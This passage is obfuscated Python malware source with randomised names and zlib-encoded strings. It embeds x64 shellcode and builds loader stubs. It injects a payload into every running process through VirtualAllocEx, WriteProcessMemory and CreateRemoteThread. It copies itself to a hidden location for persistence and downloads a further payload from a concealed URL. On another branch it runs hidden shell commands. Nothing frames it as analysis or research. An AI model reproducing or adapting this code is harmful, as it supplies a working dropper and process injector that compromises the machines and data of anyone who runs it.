0\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xE9\x45\x33\xF6\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41\x30\x4D\x85\xC0\x0F\x84\xB3\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x41\x8B\xD6\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x46\x8B\x9C\x00\x88\x00\x00\x00\x45\x85\xDB\x74\xD2\x48\x8B\x04\x24\x48\xC1\xE8\x10\x66\x44\x3B\xF0\x73\x22\x48\x8B\x4C\x24\x08\x44\x0F\xB7\xD0\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEA\x01\x75\xE7\x4F\x8D\x14\x18\x45\x8B\xDE\x41\x8B\x7A\x20\x49\x03\xF8\x45\x39\x72\x18\x76\x8E\x8B\x37\x41\x8B\xDE\x49\x03\xF0\x48\x8D\x7F\x04\x0F\xBE\x0E\x48\xFF\xC6\xC1\xCB\x0D\x03\xD9\x84\xC9\x75\xF1\x8D\x04\x13\x3B\xC5\x74\x0E\x41\xFF\xC3\x45\x3B\x5A\x18\x72\xD5\xE9\x5E\xFF\xFF\xFF\x41\x8B\x42\x24\x43\x8D\x0C\x1B\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x6C\x24\x28\x48\x8B\x74\x24\x30\x48\x8B\x7C\x24\x38\x48\x83\xC4\x10\x41\x5E\xC3'
    if YDEIIsgCNSC(oOEFQkKuE):
        cDcsgkoL = YWjHqhRAuLM
        gATxqHXJhPH = b''
        fyhoDxmI = 64
        gATxqHXJhPH += b'\xe8\x00\x00\x00\x00'
        cISpMiUda = fyhoDxmI - len(gATxqHXJhPH) + len(cDcsgkoL)
        gATxqHXJhPH += b'\x59'
        gATxqHXJhPH += b'\x49\x89\xc8'
        gATxqHXJhPH += b'\x48\x81\xc1'
        gATxqHXJhPH += struct.pack('I', cISpMiUda)
        gATxqHXJhPH += b'\xba'
        gATxqHXJhPH += struct.pack('I', iAYXADaaJGhi)
        gATxqHXJhPH += b'\x49\x81\xc0'
        fopsFqoJ = cISpMiUda + len(oOEFQkKuE)
        gATxqHXJhPH += struct.pack('I', fopsFqoJ)
        gATxqHXJhPH += b'\x41\xb9'
        gATxqHXJhPH += struct.pack('I', len(clzUhnHB))
        gATxqHXJhPH += b'\x56'
        gATxqHXJhPH += b'\x48\x89\xe6'
        gATxqHXJhPH += b'\x48\x83\xe4\xf0'
        gATxqHXJhPH += b'\x48\x83\xec'
        gATxqHXJhPH += b'\x30'
        gATxqHXJhPH += b'\xC7\x44\x24'
        gATxqHXJhPH += b'\x20'
        gATxqHXJhPH += struct.pack('I', yQvPKMSH)
        gATxqHXJhPH += b'\xe8'
        gATxqHXJhPH += struct.pack('b', fyhoDxmI - len(gATxqHXJhPH) - 4)
        gATxqHXJhPH += b'\x00\x00\x00'
        gATxqHXJhPH += b'\x48\x89\xf4'
        gATxqHXJhPH += b'\x5e'
        gATxqHXJhPH += b'\xc3'
        if len(gATxqHXJhPH) != fyhoDxmI:
            raise Exception(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x2d\x00\xd2\xff\xac\x01\x3a\x59\x0f\x98\x18\x28\xeb\x5e\xdd\xf4\x41\xd2\x47\x23\x94\x9f\x30\xbc\x0d\x2e\x02\x10\xd7\x56\x61\xb8\x48\xc0\xfa\x45\x81\x5f\x34\x9b\x88\x17\xbd\x4d\x6b\x43\x4d\x8c\x0a\xad\xf2\x12\xa1")).format(len(gATxqHXJhPH), fyhoDxmI))
        return gATxqHXJhPH + cDcsgkoL + oOEFQkKuE + clzUhnHB
    else:
        cDcsgkoL = sblkVwfWdfj
        gATxqHXJhPH = b''
        fyhoDxmI = 49
        gATxqHXJhPH += b'\xe8\x00\x00\x00\x00'
        cISpMiUda = fyhoDxmI - len(gATxqHXJhPH) + len(cDcsgkoL)
        gATxqHXJhPH += b'\x58'
        gATxqHXJhPH += b'\x55'
        gATxqHXJhPH += b'\x89\xe5'
        gATxqHXJhPH += b'\x89\xc2'
        gATxqHXJhPH += b'\x05'
        gATxqHXJhPH += struct.pack('I', cISpMiUda)
        gATxqHXJhPH += b'\x81\xc2'
        fopsFqoJ = cISpMiUda + len(oOEFQkKuE)
        gATxqHXJhPH += struct.pack('I', fopsFqoJ)
        gATxqHXJhPH += b'\x68'
        gATxqHXJhPH += struct.pack('I', yQvPKMSH)
        gATxqHXJhPH += b'\x68'
        gATxqHXJhPH += struct.pack('I', len(clzUhnHB))
        gATxqHXJhPH += b'\x52'
        gATxqHXJhPH += b'\x68'
        gATxqHXJhPH += struct.pack('I', iAYXADaaJGhi)
        gATxqHXJhPH += b'\x50'
        gATxqHXJhPH += b'\xe8'
        gATxqHXJhPH += struct.pack('b', fyhoDxmI - len(gATxqHXJhPH) - 4) # Skip over the remainder of instructions
        gATxqHXJhPH += b'\x00\x00\x00'
        gATxqHXJhPH += b'\x83\xc4\x14'
        gATxqHXJhPH += b'\xc9'
        gATxqHXJhPH += b'\xc3'
        if len(gATxqHXJhPH) != fyhoDxmI:
            raise Exception(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x2d\x00\xd2\xff\xac\x0f\x38\x59\x0f\x98\x18\x28\xeb\x5e\xdd\xf4\x41\xd2\x47\x23\x94\x9f\x30\xbc\x0d\x2e\x02\x10\xd7\x56\x61\xb8\x48\xc0\xfa\x45\x81\x5f\x34\x9b\x88\x17\xbd\x4d\x6b\x43\x4d\x8c\x0a\xb0\x04\x12\xad")).format(len(gATxqHXJhPH), fyhoDxmI))
        return gATxqHXJhPH + cDcsgkoL + oOEFQkKuE + clzUhnHB
    return False
global oiHQuavn
oiHQuavn = 0
def vqxFEawz(MKcQbuQaJ, GgcaOozqQG):
    global oiHQuavn
    oiHQuavn += 1
    dJVMyTgovQ = windll.kernel32.OpenProcess(0x1F0FFF, False, MKcQbuQaJ)
    if not dJVMyTgovQ:
        oiHQuavn -= 1
        return
    msjHNbAi = windll.kernel32.VirtualAllocEx(dJVMyTgovQ, 0, len(GgcaOozqQG), 0x00001000, 0x40)
    windll.kernel32.WriteProcessMemory(dJVMyTgovQ, msjHNbAi, GgcaOozqQG, len(GgcaOozqQG), 0)
    if not windll.kernel32.CreateRemoteThread(dJVMyTgovQ, None, 0, msjHNbAi, 0, 0, 0):
        oiHQuavn -= 1
        return
    oiHQuavn -= 1
def iwhaQnxBq(GgcaOozqQG):
    while 1:
        for pid in psutil.pids():
            DSVxgjwDaF = CreateMutex(None, 0, str(pid) + alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\x27\x6c\xe1\x18\x7f\x0e\x00\x09\x28\x02\xa8")))
            if GetLastError() == 183:
                continue
            while oiHQuavn >= 4:
                time.sleep(0.1)
            threading.Thread(target=vqxFEawz, args=(pid,GgcaOozqQG,)).start()
aulcxEKYJ(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xe5\x9e\x2e\xcb\x3d\x4f\xda\xf2\xbf\xf7\x35\x00\x1b\xeb\x04\xe3")))
if os.name == 'nt':
    if os.path.abspath(sys.argv[0]).lower().endswith(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x15\x54\x26\x03\x00\x05\xea\x01\xdf"))) and not os.path.abspath(sys.argv[0]).lower().endswith(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xc0\x68\xe6\x1d\x72\x53\x48\xe5\x2f\x00\x12\x40\x03\xd3"))):
        try:
            shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x4c\xf1\xd6\xb6\x5d\x6a\x21\x75\x31\xed\x15\x00\x18\xab\x04\xb1"))) + alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\x10\xb6\x70\x8c\x3f\x17\x69\xf9\xc0\x1f\x00\x13\xea\x04\x03")))
            os.startfile(os.getenv(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x4c\xf1\xd6\xb6\x5d\x6a\x21\x75\x31\xed\x15\x00\x18\xab\x04\xb1"))) + alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\x10\xb6\x70\x8c\x3f\x17\x69\xf9\xc0\x1f\x00\x13\xea\x04\x03")))
            os.kill(os.getpid(),9)
        except:
            pass
    else:
        try:
            shutil.copyfile(sys.executable, os.getenv(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x4c\xf1\xd6\xb6\x5d\x6a\x21\x75\x31\xed\x15\x00\x18\xab\x04\xb1"))) + alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\x10\xb6\x70\x8c\x3f\x17\x69\xf9\xc0\x1f\x00\x13\xea\x04\x03")))
        except:
            pass
    if platform.architecture()[0].replace("bit","") == "32":
        GgcaOozqQG=pFhYOeeaE(urllib2.urlopen(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe3\x5c\xc5\x19\x7e\x23\xc2\xfc\xaf\x63\xe3\xa7\x80\x6e\x16\xbb\x43\xe7\xb2\x36\x44\x27\x01\x00\x75\xeb\x0a\x76"))).read())
    else:
        GgcaOozqQG=pFhYOeeaE(urllib2.urlopen(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe3\x5c\xc5\x19\x7e\x23\xc2\xfc\xaf\x63\xe3\xa7\x80\x6e\x16\xbb\x33\x67\xb2\x36\x44\x27\x01\x00\x76\x1d\x0a\x7e"))).read())
    threading.Thread(target=iwhaQnxBq, args=(GgcaOozqQG,)).start()
elif ZiJnLijZbLOC():
    os.popen(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xea\x5e\x15\xc9\x32\x93\x45\xe3\xa7\xdb\xe1\xad\xae\x73\x23\xd3\xae\x37\xa6\xbc\x12\x57\x94\xe5\x68\x8c\x30\x7a\x0b\x14\x62\x3e\xc3\x5b\x7e\xeb\x1e\x00\x2f\xd1\x10\xb5")))
    os.popen(alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xeb\x94\x1c\xc9\x32\x93\x45\xe3\xa7\xdb\xe1\xad\xae\x73\x23\xd3\xae\x37\xa6\xbc\x12\x57\x94\xe5\x68\x8c\x30\x7a\x0b\x14\x62\x3e\xc3\x5b\x7e\xeb\x1e\x00\x2a\xd0\x10\x91")))
    os.popen(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x10\x99\x11\xc9\x32\x93\x45\xe3\xa7\xdb\xe1\xad\xae\x73\x23\xd3\xae\x37\xa6\xbc\x12\x57\x94\xe5\x68\x8c\x30\x7a\x0b\x14\x62\x3e\xc3\x5b\x7e\xeb\x1e\x00\x2f\x2a\x10\xb0")))
threading.Thread(target=xJEGcCOOPd, args=()).start()
